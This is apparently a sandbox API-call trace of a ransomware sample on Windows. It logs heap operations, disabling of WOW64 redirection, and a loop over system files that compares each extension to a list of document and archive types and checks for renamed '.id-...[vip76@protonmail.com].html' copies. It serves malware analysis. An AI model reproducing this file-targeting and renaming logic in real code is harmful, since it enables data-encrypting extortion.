	[0206.693] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44c8908 | out: hHeap=0x560000) returned 1
	[0207.126] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44c8908 | out: hHeap=0x560000) returned 1
	[0207.126] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44c8908 | out: hHeap=0x560000) returned 1
	[0207.127] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44d8910 | out: hHeap=0x560000) returned 1
	[0207.128] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44d8910 | out: hHeap=0x560000) returned 1
	[0207.128] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44d8910 | out: hHeap=0x560000) returned 1
	[0207.130] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44d8910 | out: hHeap=0x560000) returned 1
	[0207.131] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44c8908 | out: hHeap=0x560000) returned 1
	[0207.132] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44e8918 | out: hHeap=0x560000) returned 1
	[0207.134] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44e8918 | out: hHeap=0x560000) returned 1
	[0207.152] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44e8918 | out: hHeap=0x560000) returned 1
	[0207.157] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44e8918 | out: hHeap=0x560000) returned 1
	[0207.159] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44e8918 | out: hHeap=0x560000) returned 1
	[0207.163] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44d8910 | out: hHeap=0x560000) returned 1
	[0207.164] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44d8910 | out: hHeap=0x560000) returned 1
	[0207.164] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44d8910 | out: hHeap=0x560000) returned 1
	[0207.164] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44d8910 | out: hHeap=0x560000) returned 1
	[0207.166] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44d8910 | out: hHeap=0x560000) returned 1
	[0207.647] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x450a938 | out: hHeap=0x560000) returned 1
	[0207.648] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x450a938 | out: hHeap=0x560000) returned 1
	[0207.650] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x450a938 | out: hHeap=0x560000) returned 1
	[0207.651] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x450a938 | out: hHeap=0x560000) returned 1
	[0207.653] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x450a938 | out: hHeap=0x560000) returned 1
	[0207.654] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x450a938 | out: hHeap=0x560000) returned 1
	[0207.656] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x450a938 | out: hHeap=0x560000) returned 1
	[0207.658] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x450a938 | out: hHeap=0x560000) returned 1
	[0207.659] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x450a938 | out: hHeap=0x560000) returned 1
	[0207.661] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x450a938 | out: hHeap=0x560000) returned 1
	[0207.662] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x450a938 | out: hHeap=0x560000) returned 1
	[0207.664] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x450a938 | out: hHeap=0x560000) returned 1
	[0207.665] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x450a938 | out: hHeap=0x560000) returned 1
	[0207.667] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x450a938 | out: hHeap=0x560000) returned 1
	[0207.668] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x450a938 | out: hHeap=0x560000) returned 1
	[0207.670] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x450a938 | out: hHeap=0x560000) returned 1
	[0207.671] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x450a938 | out: hHeap=0x560000) returned 1
	[0207.894] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x450a938 | out: hHeap=0x560000) returned 1
	[0207.896] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x450a938 | out: hHeap=0x560000) returned 1
	[0207.898] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x450a938 | out: hHeap=0x560000) returned 1
	[0207.900] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x450a938 | out: hHeap=0x560000) returned 1
	[0207.902] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x450a938 | out: hHeap=0x560000) returned 1
	[0207.904] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x450a938 | out: hHeap=0x560000) returned 1
	[0207.906] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x450a938 | out: hHeap=0x560000) returned 1
	[0207.908] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x450a938 | out: hHeap=0x560000) returned 1
	[0207.914] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x450a938 | out: hHeap=0x560000) returned 1
	[0207.915] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x450a938 | out: hHeap=0x560000) returned 1
	[0207.917] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x450a938 | out: hHeap=0x560000) returned 1
	[0207.920] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x450a938 | out: hHeap=0x560000) returned 1
	[0207.922] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x450a938 | out: hHeap=0x560000) returned 1
	[0207.924] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x450a938 | out: hHeap=0x560000) returned 1
	[0207.926] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x450a938 | out: hHeap=0x560000) returned 1
	[0207.928] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x450a938 | out: hHeap=0x560000) returned 1
	[0207.930] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x450a938 | out: hHeap=0x560000) returned 1
	[0208.380] HeapFree (hHeap=0x560000, dwFlags=0x0, lpMem=0x450a938) 

Thread:
	id = 97
	os_tid = 0xf9c

	[0205.120] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x3dc2080
	[0205.120] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x3dd2088
	[0205.121] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5df380
	[0205.121] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x6) returned 0x5ec720
	[0205.121] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5df398
	[0205.121] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x100000) returned 0x3f91020
	[0205.127] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5df3b0
	[0205.127] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5df3b0, Size=0x20) returned 0x59e158
	[0205.127] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5df3b0
	[0205.127] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5df3b0, Size=0x20) returned 0x59df28
	[0205.127] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0205.127] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0205.127] Wow64DisableWow64FsRedirection (in: OldValue=0x353ff50 | out: OldValue=0x353ff50*=0x0) returned 1
	[0205.127] lstrlenW (lpString="kernel32.dll") returned 12
	[0205.127] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x59e158 | out: hHeap=0x560000) returned 1
	[0205.127] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0205.127] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x59df28 | out: hHeap=0x560000) returned 1
	[0205.127] Sleep (dwMilliseconds=0x64) 
	[0205.341] Sleep (dwMilliseconds=0x64) 
	[0205.658] lstrlenW (lpString="bootmgr") returned 7
	[0205.658] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0205.659] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=395226) returned 1
	[0205.659] CloseHandle (hObject=0x340) returned 1
	[0205.659] GetFileAttributesW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27
	[0205.660] GetFileAttributesW (lpFileName="C:\\bootmgr.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\bootmgr.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0205.660] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0
	[0205.660] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0205.660] lstrlenW (lpString="C:\\bootmgr") returned 10
	[0205.660] lstrlenW (lpString="C:\\bootmgr") returned 10
	[0205.660] lstrlenW (lpString=".doc") returned 4
	[0205.660] lstrcmpiW (lpString1=".doc", lpString2="tmgr") returned -1
	[0205.660] lstrlenW (lpString=".docx") returned 5
	[0205.660] lstrcmpiW (lpString1=".docx", lpString2="otmgr") returned -1
	[0205.660] lstrlenW (lpString=".pdf") returned 4
	[0205.660] lstrcmpiW (lpString1=".pdf", lpString2="tmgr") returned -1
	[0205.660] lstrlenW (lpString=".xls") returned 4
	[0205.660] lstrcmpiW (lpString1=".xls", lpString2="tmgr") returned -1
	[0205.660] lstrlenW (lpString=".xlsx") returned 5
	[0205.660] lstrcmpiW (lpString1=".xlsx", lpString2="otmgr") returned -1
	[0205.660] lstrlenW (lpString=".ppt") returned 4
	[0205.660] lstrcmpiW (lpString1=".ppt", lpString2="tmgr") returned -1
	[0205.660] lstrlenW (lpString="C:\\bootmgr") returned 10
	[0205.660] lstrlenW (lpString=".zip") returned 4
	[0205.661] lstrcmpiW (lpString1=".zip", lpString2="tmgr") returned -1
	[0205.661] lstrlenW (lpString=".rar") returned 4
	[0205.661] lstrcmpiW (lpString1=".rar", lpString2="tmgr") returned -1
	[0205.661] lstrlenW (lpString=".bz2") returned 4
	[0205.661] lstrcmpiW (lpString1=".bz2", lpString2="tmgr") returned -1
	[0205.661] lstrlenW (lpString=".7z") returned 3
	[0205.661] lstrcmpiW (lpString1=".7z", lpString2="mgr") returned -1
	[0205.661] lstrlenW (lpString="C:\\bootmgr") returned 10
	[0205.661] lstrlenW (lpString=".dbf") returned 4
	[0205.661] lstrcmpiW (lpString1=".dbf", lpString2="tmgr") returned -1
	[0205.661] lstrlenW (lpString="C:\\bootmgr") returned 10
	[0205.661] lstrlenW (lpString=".1cd") returned 4
	[0205.661] lstrcmpiW (lpString1=".1cd", lpString2="tmgr") returned -1
	[0205.661] lstrlenW (lpString="C:\\bootmgr") returned 10
	[0205.661] lstrlenW (lpString=".jpg") returned 4
	[0205.661] lstrcmpiW (lpString1=".jpg", lpString2="tmgr") returned -1
	[0205.661] lstrlenW (lpString="C:\\bootmgr") returned 10
	[0205.661] lstrlenW (lpString="C:\\bootmgr") returned 10
	[0205.661] lstrlenW (lpString=".doc") returned 4
	[0205.661] lstrcmpiW (lpString1=".doc", lpString2="tmgr") returned -1
	[0205.661] lstrlenW (lpString=".docx") returned 5
	[0205.661] lstrcmpiW (lpString1=".docx", lpString2="otmgr") returned -1
	[0205.661] lstrlenW (lpString=".pdf") returned 4
	[0205.661] lstrcmpiW (lpString1=".pdf", lpString2="tmgr") returned -1
	[0205.661] lstrlenW (lpString=".xls") returned 4
	[0205.661] lstrcmpiW (lpString1=".xls", lpString2="tmgr") returned -1
	[0205.661] lstrlenW (lpString=".xlsx") returned 5
	[0205.661] lstrcmpiW (lpString1=".xlsx", lpString2="otmgr") returned -1
	[0205.662] lstrlenW (lpString=".ppt") returned 4
	[0205.662] lstrcmpiW (lpString1=".ppt", lpString2="tmgr") returned -1
	[0205.662] lstrlenW (lpString="C:\\bootmgr") returned 10
	[0205.662] lstrlenW (lpString=".zip") returned 4
	[0205.662] lstrcmpiW (lpString1=".zip", lpString2="tmgr") returned -1
	[0205.662] lstrlenW (lpString=".rar") returned 4
	[0205.662] lstrcmpiW (lpString1=".rar", lpString2="tmgr") returned -1
	[0205.662] lstrlenW (lpString=".bz2") returned 4
	[0205.662] lstrcmpiW (lpString1=".bz2", lpString2="tmgr") returned -1
	[0205.662] lstrlenW (lpString=".7z") returned 3
	[0205.662] lstrcmpiW (lpString1=".7z", lpString2="mgr") returned -1
	[0205.662] lstrlenW (lpString="C:\\bootmgr") returned 10
	[0205.662] lstrlenW (lpString=".dbf") returned 4
	[0205.662] lstrcmpiW (lpString1=".dbf", lpString2="tmgr") returned -1
	[0205.662] lstrlenW (lpString="C:\\bootmgr") returned 10
	[0205.662] lstrlenW (lpString=".1cd") returned 4
	[0205.662] lstrcmpiW (lpString1=".1cd", lpString2="tmgr") returned -1
	[0205.662] lstrlenW (lpString="C:\\bootmgr") returned 10
	[0205.662] lstrlenW (lpString=".jpg") returned 4
	[0205.662] lstrcmpiW (lpString1=".jpg", lpString2="tmgr") returned -1
	[0205.662] lstrcmpiW (lpString1=".sys", lpString2=".html") returned 1
	[0205.662] lstrlenW (lpString="hiberfil.sys") returned 12
	[0205.662] CreateFileW (lpFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0205.662] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0205.662] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0205.662] lstrlenW (lpString=".doc") returned 4
	[0205.662] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1
	[0205.662] lstrlenW (lpString=".docx") returned 5
	[0205.663] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1
	[0205.663] lstrlenW (lpString=".pdf") returned 4
	[0205.663] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1
	[0205.663] lstrlenW (lpString=".xls") returned 4
	[0205.663] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1
	[0205.663] lstrlenW (lpString=".xlsx") returned 5
	[0205.663] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1
	[0205.663] lstrlenW (lpString=".ppt") returned 4
	[0205.663] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1
	[0205.663] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0205.663] lstrlenW (lpString=".zip") returned 4
	[0205.663] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1
	[0205.663] lstrlenW (lpString=".rar") returned 4
	[0205.663] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1
	[0205.663] lstrlenW (lpString=".bz2") returned 4
	[0205.663] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1
	[0205.663] lstrlenW (lpString=".7z") returned 3
	[0205.663] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1
	[0205.663] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0205.663] lstrlenW (lpString=".dbf") returned 4
	[0205.663] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1
	[0205.663] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0205.663] lstrlenW (lpString=".1cd") returned 4
	[0205.663] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1
	[0205.663] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0205.663] lstrlenW (lpString=".jpg") returned 4
	[0205.663] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1
	[0205.663] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0205.663] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0205.663] lstrlenW (lpString=".doc") returned 4
	[0205.663] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1
	[0205.663] lstrlenW (lpString=".docx") returned 5
	[0205.663] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1
	[0205.664] lstrlenW (lpString=".pdf") returned 4
	[0205.664] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1
	[0205.664] lstrlenW (lpString=".xls") returned 4
	[0205.664] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1
	[0205.664] lstrlenW (lpString=".xlsx") returned 5
	[0205.664] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1
	[0205.664] lstrlenW (lpString=".ppt") returned 4
	[0205.664] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1
	[0205.664] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0205.664] lstrlenW (lpString=".zip") returned 4
	[0205.664] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1
	[0205.664] lstrlenW (lpString=".rar") returned 4
	[0205.664] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1
	[0205.664] lstrlenW (lpString=".bz2") returned 4
	[0205.664] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1
	[0205.664] lstrlenW (lpString=".7z") returned 3
	[0205.664] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1
	[0205.664] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0205.664] lstrlenW (lpString=".dbf") returned 4
	[0205.664] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1
	[0205.664] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0205.664] lstrlenW (lpString=".1cd") returned 4
	[0205.664] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1
	[0205.664] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0205.664] lstrlenW (lpString=".jpg") returned 4
	[0205.664] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1
	[0205.664] lstrcmpiW (lpString1=".sys", lpString2=".html") returned 1
	[0205.664] lstrlenW (lpString="pagefile.sys") returned 12
	[0205.664] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0205.665] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0205.665] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0205.665] lstrlenW (lpString=".doc") returned 4
	[0205.665] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1
	[0205.665] lstrlenW (lpString=".docx") returned 5
	[0205.665] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1
	[0205.665] lstrlenW (lpString=".pdf") returned 4
	[0205.665] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1
	[0205.665] lstrlenW (lpString=".xls") returned 4
	[0205.665] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1
	[0205.665] lstrlenW (lpString=".xlsx") returned 5
	[0205.665] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1
	[0205.665] lstrlenW (lpString=".ppt") returned 4
	[0205.665] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1
	[0205.665] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0205.665] lstrlenW (lpString=".zip") returned 4
	[0205.665] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1
	[0205.665] lstrlenW (lpString=".rar") returned 4
	[0205.665] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1
	[0205.665] lstrlenW (lpString=".bz2") returned 4
	[0205.665] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1
	[0205.665] lstrlenW (lpString=".7z") returned 3
	[0205.665] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1
	[0205.665] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0205.665] lstrlenW (lpString=".dbf") returned 4
	[0205.665] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1
	[0205.665] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0205.665] lstrlenW (lpString=".1cd") returned 4
	[0205.665] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1
	[0205.665] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0205.665] lstrlenW (lpString=".jpg") returned 4
	[0205.665] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1
	[0205.665] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0205.666] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0205.666] lstrlenW (lpString=".doc") returned 4
	[0205.666] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1
	[0205.666] lstrlenW (lpString=".docx") returned 5
	[0205.666] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1
	[0205.666] lstrlenW (lpString=".pdf") returned 4
	[0205.666] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1
	[0205.666] lstrlenW (lpString=".xls") returned 4
	[0205.666] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1
	[0205.666] lstrlenW (lpString=".xlsx") returned 5
	[0205.666] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1
	[0205.666] lstrlenW (lpString=".ppt") returned 4
	[0205.666] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1
	[0205.666] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0205.666] lstrlenW (lpString=".zip") returned 4
	[0205.666] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1
	[0205.666] lstrlenW (lpString=".rar") returned 4
	[0205.666] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1
	[0205.666] lstrlenW (lpString=".bz2") returned 4
	[0205.666] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1
	[0205.666] lstrlenW (lpString=".7z") returned 3
	[0205.666] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1
	[0205.666] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0205.666] lstrlenW (lpString=".dbf") returned 4
	[0205.666] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1
	[0205.666] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0205.666] lstrlenW (lpString=".1cd") returned 4
	[0205.666] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1
	[0205.666] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0205.666] lstrlenW (lpString=".jpg") returned 4
	[0205.666] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1
	[0205.667] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0205.667] lstrlenW (lpString="ApiClient.dll") returned 13
	[0205.667] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0205.667] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=162880) returned 1
	[0205.667] CloseHandle (hObject=0x340) returned 1
	[0205.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll")) returned 0x20
	[0205.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0205.667] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0205.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0205.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0205.668] lstrlenW (lpString=".doc") returned 4
	[0205.668] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0205.668] lstrlenW (lpString=".docx") returned 5
	[0205.668] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0205.668] lstrlenW (lpString=".pdf") returned 4
	[0205.668] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0205.668] lstrlenW (lpString=".xls") returned 4
	[0205.668] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0205.668] lstrlenW (lpString=".xlsx") returned 5
	[0205.668] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0205.668] lstrlenW (lpString=".ppt") returned 4
	[0205.668] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0205.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0205.668] lstrlenW (lpString=".zip") returned 4
	[0205.668] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0205.668] lstrlenW (lpString=".rar") returned 4
	[0205.668] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0205.668] lstrlenW (lpString=".bz2") returned 4
	[0205.668] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0205.668] lstrlenW (lpString=".7z") returned 3
	[0205.668] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0205.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0205.668] lstrlenW (lpString=".dbf") returned 4
	[0205.668] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0205.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0205.668] lstrlenW (lpString=".1cd") returned 4
	[0205.668] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0205.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0205.668] lstrlenW (lpString=".jpg") returned 4
	[0205.668] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0205.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0205.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0205.669] lstrlenW (lpString=".doc") returned 4
	[0205.669] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0205.669] lstrlenW (lpString=".docx") returned 5
	[0205.669] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0205.669] lstrlenW (lpString=".pdf") returned 4
	[0205.669] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0205.669] lstrlenW (lpString=".xls") returned 4
	[0205.669] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0205.669] lstrlenW (lpString=".xlsx") returned 5
	[0205.669] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0205.669] lstrlenW (lpString=".ppt") returned 4
	[0205.669] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0205.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0205.669] lstrlenW (lpString=".zip") returned 4
	[0205.669] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0205.669] lstrlenW (lpString=".rar") returned 4
	[0205.669] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0205.669] lstrlenW (lpString=".bz2") returned 4
	[0205.669] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0205.669] lstrlenW (lpString=".7z") returned 3
	[0205.669] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0205.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
